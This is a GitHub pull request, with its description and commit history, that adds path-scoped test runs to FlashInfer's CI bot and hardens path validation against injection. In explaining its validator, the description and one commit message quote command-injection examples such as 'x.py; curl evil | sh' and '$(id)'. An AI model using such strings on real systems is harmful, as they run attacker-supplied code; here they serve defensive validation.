Skip to content

feat(experimental): declare per-PR test scope for the experimental CI lane - #1

Merged
bkryu merged 9 commits into
bkryu:experimental_directoryfrom
aleozlx:exp-track-test-scope
Sep 2, 2026
Merged

feat(experimental): declare per-PR test scope for the experimental CI lane#1
bkryu merged 9 commits into
bkryu:experimental_directoryfrom
aleozlx:exp-track-test-scope

Conversation

@aleozlx

@aleozlx aleozlx commented Sep 2, 2026

Copy link
Copy Markdown

📌 Description

Targets flashinfer-ai#4880 (experimental_directory), not main — merge there first.

Follows up the Slack thread on the missing experimental CI lane: the experimental track needs to run targeted tests, the same way, on both CI systems.

The problem

tests/experimental/ as a whole is the right scope today, with one feature in the track. It stops being right as the track grows — every experimental PR would pay for every other feature's tests, in every cell of the GPU/toolkit matrix, on on-demand runners billed by duration.

The shell side already supports targeting: task_run_unit_tests.sh forwards "$@" to unit_test_runner.py, which sets TEST_PATH. The gap is entirely in how a target reaches it:

Trigger Carries a target?
GitLab /bot run TEST_PATH ✅ inline
GitHub run-ci label, @flashinfer-bot run no argument

On GitHub specifically, three things blocked it: ci-bot-commands.yml matches @flashinfer-bot run with grep and discards anything after it; pr-test.yml builds its matrix from hardcoded jq literals; and the dispatch step passes no argument.

The change

1. @flashinfer-bot run <paths> now takes an argument, mirroring GitLab's /bot run TEST_PATH — one convention across both systems. It retargets the GPU lanes at those paths; bare @flashinfer-bot run is unchanged (and clears any previous scope).

The comment is parsed exactly once. A run-ci label carries no payload, so ci-bot-commands.yml — the one place that already parses this comment — validates the paths and publishes them as ci/test-scope-N commit statuses on the head SHA. pr-test.yml reassembles them. No regex downstream, no comment listing, no date filtering.

Chunked because a status description caps at 140 characters. Measured against this repo, test paths run median 41 / p90 60 / max 81, and file.py::test_case is ~63 — so 140 fits only two or three targets. Splitting happens on target boundaries, never mid-path.

Keying the statuses to the SHA makes staleness structural rather than a rule: a new push is a new SHA with no scope statuses, so re-labelling can't resurrect an old scope.

Symmetry has a second payoff — automation gets no privileged channel. A watcher triggering a screened PR types exactly what a reviewer types, so there's one path to test and no way for the two to drift.

No arch selection, and none is needed. A targeted run still spans the GPU matrix (A10G, T4, H100) — tests carry their own arch guards and skip themselves where unsupported, so the right subset executes on each runner. Narrowing the scope reduces what runs within each cell, not which cells run. Adding arch selection would mean maintaining a path-to-arch mapping beside guards that already encode it, and the two would drift.

Note the default shards (task_jit_run_tests_part*.sh) are fixed pytest lists that take no arguments, so a targeted run uses task_run_unit_tests.sh — the script that forwards "$@" into TEST_PATH.

2. CI runs what it's told, and never reads the PR body. Turning a declaration into paths happens once, in whoever issues the trigger — a reviewer, or a screening watcher posting under its own identity with the declared scope. There is deliberately no second parser in the workflow, so a reviewer wanting to run something else just says so: the declaration is the default, not a constraint.

3. The PR template gains the declaration the trigger-issuer reads — a fenced experimental-tests block shipping with commented examples, not a working default. The parser strips # comments, so an untouched block fails loudly rather than quietly meaning "run everything".

4. scripts/pr_checks/experimental_test_scope.py is the single validator, with two entry points sharing one definition of a safe target:

# what the trigger-issuer runs, over a PR body
experimental_test_scope.py --body-file body.md --test-path
# what the workflow runs, over comment arguments
experimental_test_scope.py --targets "tests/gemm/test_x.py" --test-path

They differ only in root — tests/experimental/ for a declaration, tests/ for a reviewer request, since a reviewer may legitimately want to run anything.

Validation, and why each rule is there

  • Strict charset. A prefix check alone accepts tests/experimental/x.py; curl evil | sh — it starts with the root and has no ... A semicolon is a legal filename character, so existence isn't a reliable backstop either.
  • Targets must exist. A path that doesn't exist collects no tests and passes — a false green, the most expensive failure here because it looks like coverage.
  • Also rejected: missing block, empty block, duplicate blocks, paths outside the root, traversal, command substitution, backticks, smuggled pytest flags.

Two silent failure modes are handled explicitly: statuses can't be deleted, so a scope that shrinks would leave stale trailing chunks — the publisher blanks leftover indices; and contexts sort lexically, so ci/test-scope-10 would land between -1 and -2 — reassembly sorts numerically.

Validation splits by what each layer can actually see. ci-bot-commands.yml checks charset and root using the trusted validator from the base branch — it deliberately does not check out PR code, since it holds a write token — and rejects anything over the status description's 140-character limit, which doubles as a nudge toward the narrow scope this exists to encourage. Existence is left to whoever issues the trigger (who has the PR's files) and, failing that, to pytest, which errors on a missing path.

Being authorised to trigger CI isn't the same as a string being safe to hand to a shell, so the value also travels via env:, is never interpolated into script text, and is read into an array with globbing disabled rather than relying on word splitting. Each layer holds without the others — which matters because run-ci can be applied by hand, with no review or screening in the path.

🔍 Related Issues

Targets flashinfer-ai#4880.

🚀 Pull Request Checklist

  • I have read the Contributing Guidelines.
  • I have added/updated relevant unit tests. (--selftest)
  • My PR is based on the latest FlashInfer main branch commit.

✅ Pre-commit Checks

  • I have installed pre-commit by running pip install pre-commit (or used your preferred method).
  • I have installed the hooks with pre-commit install.
  • I have run the hooks manually with pre-commit run --all-files and fixed any reported issues.

🧪 Tests

  • Tests have been added or updated as needed.
  • All tests are passing (unittest, etc.).

--selftest covers ten cases (four parse, six rejection) plus existence checking against a temp tree; no fixtures, no network, no GPU:

$ python3 scripts/pr_checks/experimental_test_scope.py --selftest
selftest: all cases pass

$ python3 scripts/pr_checks/experimental_test_scope.py \
    --body-file .github/pull_request_template.md --test-path
tests/experimental/

The matrix step was also simulated end to end: an experimental-labelled PR emits the extra lane, a non-experimental PR emits nothing, and an experimental PR with a missing block fails.

Reviewer Notes

@bkryu — note that CI does not enforce the declaration. The workflow only validates the arguments it is given; a PR with a missing or malformed block simply gets an ordinary unparameterised run. Enforcement, if wanted, belongs wherever the trigger is issued — a reviewer reads the block and types it, and automation would do the same. That keeps CI a thing that runs what it is told, which is why there's no second parser here.

The one behaviour worth confirming: a targeted run replaces the default GPU shards rather than adding to them, because task_jit_run_tests_part*.sh are fixed pytest lists that take no arguments. So a targeted run covers the same GPUs but not the same scripts.

Would also value a look from whoever owns the runner labels and concurrency config — the new lane reuses the existing H100 runner selector and task_run_unit_tests.sh unchanged, but I can't exercise a self-hosted runner from here.

AI-assisted (Claude Code).

… lane

Follow-up to the experimental track, targeting flashinfer-ai#4880.

The open question on the CI lane was what it should run. `tests/experimental`
as a whole works today, when the track holds one feature, and gets slower and
less relevant to any given change as the track grows -- every experimental PR
would pay for every other experimental feature's tests, in every cell of the
GPU/toolkit matrix.

So the PR declares its own scope. The template gains a required
`experimental-tests` fenced block listing targets, and
scripts/pr_checks/experimental_test_scope.py parses, validates and emits them
as a TEST_PATH -- the value the existing shell scripts already accept:

  TEST_PATH=$(scripts/pr_checks/experimental_test_scope.py \
                --body-file body.md --test-path)

No new format is invented, and narrowing TEST_PATH narrows what runs within
each matrix cell rather than changing the matrix.

Why the PR body specifically: the two trigger paths are asymmetric. GitLab's
`/bot run TEST_PATH` carries the target inline, so a reviewer can already scope
a run by hand. GitHub's triggers -- the `run-ci` label and `@flashinfer-bot
run` -- carry no argument at all, so a GitHub run has no other channel for
learning what to test. Reading a declared block is what lets the same targeted
run happen on both, which makes the block necessary rather than merely tidy.

A tagged fence rather than prose because it is machine-read: unambiguous to
extract, survives surrounding edits, and a reworded heading cannot silently
break it. Validation rejects a missing block, an empty block, duplicate blocks,
paths outside tests/experimental/, and path traversal -- `--selftest` covers
all six plus four parse cases and needs no fixtures.

Declaring the whole tree stays legal; the comment says it defeats the purpose.
The point is to make scope an explicit author decision rather than an implicit
default nobody revisits.

AI-assisted (Claude Code).
@aleozlx
aleozlx requested a review from bkryu as a code owner September 2, 2026 00:40
… exist

Completes the previous commit. Declaring a scope only helps if something
consumes it, and on GitHub nothing could: `@flashinfer-bot run` matches
with grep and discards anything typed after it, the matrix is built from
hardcoded jq literals, and the dispatch step passes no argument. The
shell side was already fine -- task_run_unit_tests.sh forwards "$@" to
unit_test_runner.py, which sets TEST_PATH from it -- so only the workflow
needed to thread a value through.

pr-test.yml gains one additive H100 lane for PRs labelled `experimental`,
running only the declared targets. Existing lanes are untouched and get
an empty TEST_PATH_ARG, so a normal PR cannot be affected.

The parser now also verifies declared targets exist in the checkout. A
nonexistent path collects no tests and passes, which is a false green --
the most expensive failure mode here, because it looks like coverage. A
typo now fails the matrix instead of reporting success.

Two boundaries the lane deliberately does not cross:

  Trust is decided upstream. Whether this PR's code -- including its
  tests -- may run on the runners is settled by the screening that gates
  the run-ci label, and a new test file is part of the diff that decision
  covers. The workflow decides scope, not trust, and does not re-derive
  it.

  The PR body is still untrusted INPUT. The value moves through env, is
  written to a file, and is never interpolated into script text:
  ${{ }} interpolation of PR-authored content into a run: block is a
  script-injection vector regardless of who is trusted to trigger it.

An experimental PR whose block is missing or invalid fails the matrix
rather than silently falling back to the full tree -- the fallback would
restore exactly the behaviour this avoids. Raised for confirmation in the
PR description.

@flashinfer-bot run is left alone: it needs no argument now that the
declaration lives in the PR body, which keeps the scope in one place
instead of being retyped per trigger.

AI-assisted (Claude Code).
Testing the previous commit's claim rather than trusting it: the shape
check accepted both

  tests/experimental/test_a.py; curl evil.sh | sh
  tests/experimental/$(id)

Both start with tests/experimental/ and contain no "..", so "starts with
the root and has no traversal" was never the guarantee it read as. Only
the existence check rejected them, and that is incidental -- a semicolon
is a legal filename character, so a committed file with one would pass.

Targets are now matched against an explicit charset, so the guarantee is
stated rather than inferred. Four rejection cases added: shell
metacharacters, command substitution, backticks, and a smuggled pytest
flag.

The dispatch step also stops depending on that guarantee. It reads the
value into an array and expands it quoted, with globbing disabled, rather
than relying on word splitting. Each layer now holds without the others,
which matters because run-ci can be applied by hand or via
@flashinfer-bot run with no screening in the path -- the workflow cannot
assume a screen ran.

AI-assisted (Claude Code).
The block shipped pre-filled with `tests/experimental/`, which is a valid
declaration -- so the path of least resistance was to leave it, and the
default silently became "run everything", exactly what declaring a scope
is meant to avoid.

It now ships with commented example lines instead. The parser already
strips `#` comments, so an untouched block parses as empty and fails with
"the experimental-tests block is empty; declare at least one target under
tests/experimental/" rather than quietly running the whole tree.

Examples live inside the fence rather than above it, so they are visible
at the point of typing and are deleted as they are replaced. Declaring
the whole tree is still legal and still documented, but is now a choice
someone makes rather than one they inherit.

AI-assisted (Claude Code).
Per Alex: the two concerns are orthogonal. @flashinfer-bot run takes the
argument, the existing scripts already check authorization, and CI runs
what it is told. The watcher rides on that -- posting under its own
identity with the declared paths -- so there is no duplicated path
parsing.

The workflow therefore no longer reads the PR body. Turning a declaration
into paths happens once, in whoever issues the trigger. A reviewer who
wants to run something else just says so; the declared scope is the
default the watcher uses, not a constraint CI enforces.

`@flashinfer-bot run <paths>` now replaces the default GPU lanes with a
single targeted lane. Bare `@flashinfer-bot run` is unchanged. Since a
run-ci label carries no payload, the arguments are recovered from the
comment that caused it, accepting only a comment newer than the head
commit -- otherwise re-labelling by hand months later would silently
resurrect a stale scope.

The validator gained a --targets mode so both entry points share one
definition of a safe target, differing only in root: tests/experimental/
for a declaration, tests/ for a reviewer request, since a reviewer may
legitimately want to run anything.

Fixed while testing: the argument extraction used [^\r\n], which BSD sed
reads as a literal class of backslash/r/n, truncating
tests/experimental/foo.py to tests/expe at the first "r". GNU sed on the
runners would have hidden this. Now uses (.*)$ with CRs stripped, which
behaves identically under both. Seven extraction cases checked: single
and multiple targets, prose before the command, bare run, capitalisation,
CRLF bodies, and a command on the second line.

AI-assisted (Claude Code).
Previous commit collapsed a parameterised run to a single H100 lane,
inventing an arch decision that does not exist. TEST_PATH fires on the
full matrix, as it already does on GitLab.

It works because tests carry their own arch guards
(is_sm90a_supported() and friends) and skip themselves where
unsupported, so the same targets can go to every GPU runner and the right
subset executes on each. That is also why no arch selection is wanted:
adding one would mean maintaining a path-to-arch mapping alongside guards
that already encode it, and the two would drift.

A targeted run now emits one lane per GPU runner (A10G/sm86, T4/sm75,
H100), all using task_run_unit_tests.sh. That script is the one that
forwards "$@" into TEST_PATH; the default shards
(task_jit_run_tests_part*.sh) are fixed pytest lists and take no
arguments, so they cannot be retargeted and are replaced rather than
parameterised.

Narrowing the scope therefore reduces what runs within each matrix cell,
not which cells run.

AI-assisted (Claude Code).
…anning

Per Alex: `@flashinfer-bot run <paths>` and `/bot run TEST_PATH` should be
one convention, and the comment should be parsed once -- not re-read from
a later stage.

ci-bot-commands.yml already parses this comment to dispatch the command,
so it now also extracts the paths, validates them, and publishes them as
a `ci/test-scope` commit status on the head SHA. pr-test.yml reads that
description verbatim: one API call, no regex, no comment listing, no date
filtering. The previous approach had pr-test re-scanning comments and
filtering by the head commit's timestamp, which was both duplicated work
and fiddly.

Keying the status to the head SHA makes staleness structural rather than
a rule: a new push is a new SHA with no scope status, so re-labelling
cannot resurrect an old scope. A bare `@flashinfer-bot run` publishes an
empty scope, so it clears a previous one instead of silently inheriting
it.

The symmetry has a second benefit worth stating: automation gets no
privileged channel. A watcher triggering a screened PR types exactly what
a reviewer types, so there is one path to test and no way for the two to
drift.

Validation splits by what each layer can actually see. ci-bot-commands
checks charset and root against the trusted validator from the base
branch -- it deliberately does not check out PR code, since it holds a
write token -- and rejects anything over the status description's
140-character limit, which doubles as a nudge toward the narrow scope
this exists to encourage. Existence is left to whoever issues the trigger
(who has the PR's files) and, failing that, to pytest, which errors on a
missing path.

pr-test.yml drops the issues:read permission it needed for comment
reading and takes statuses:read instead.

AI-assisted (Claude Code).
A status description caps at 140 characters. Measured against this repo,
test paths run median 41, p90 60, max 81, and a file.py::test_case is
around 63 -- so 140 fits two or three targets, and one long path plus a
selector can exhaust it. Rejecting on overflow would have made the limit
a design constraint on scopes, which is the wrong tradeoff for
experimental components with long names.

The scope is now published across ci/test-scope-N statuses and
reassembled in index order. Splitting happens on target boundaries in the
validator (--chunk N), never mid-path, since half a path is still a
syntactically valid path and would fail confusingly rather than loudly.

Indices start at 1 even for a single chunk: one code path instead of a
bare-context special case.

Two failure modes handled, both silent if missed:

  Statuses cannot be deleted, so a scope that shrinks would leave stale
  trailing chunks and reassemble into paths nobody asked for. The
  publisher blanks any leftover indices above the new count.

  Contexts sort lexically, so ci/test-scope-10 would land between -1 and
  -2. Reassembly extracts the index and sorts numerically.

Reassembly takes the newest status per context, so re-triggering
overwrites cleanly. Verified across six cases: ordered chunks, unordered
chunks mixed with foreign contexts, a shrunk scope, a cleared scope, no
scope statuses, and 10+ chunks. Chunking itself is covered in --selftest:
no chunk exceeds the limit, chunks round-trip to the original list, a
single target stays one chunk, and a target longer than the limit is
rejected rather than split.

AI-assisted (Claude Code).
Statuses have no DELETE, but re-posting a context supersedes it -- so the
leftover-chunk handling is an update to empty rather than a deletion, and
the comments now say so.

More usefully, that means the combined endpoint (/commits/{sha}/status)
already returns one entry per context resolved to the latest, which the
raw list (/statuses) does not: a commit with three CodeRabbit posts shows
three entries there and one here.

Both sides now use it. Reassembly drops its group_by/first deduplication,
and -- more to the point -- stops depending on the raw list returning
newest-first, which I had confirmed empirically but which is not a
documented guarantee. Relying on it would have been a silent
misassembly if it ever changed.

Re-verified across seven cases including a null description: ordered and
unordered chunks, foreign contexts, shrunk scope, cleared scope, absent
scope, and numeric ordering past nine chunks.

AI-assisted (Claude Code).
@bkryu
bkryu merged commit dafc420 into bkryu:experimental_directory Sep 2, 2026
1 check failed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants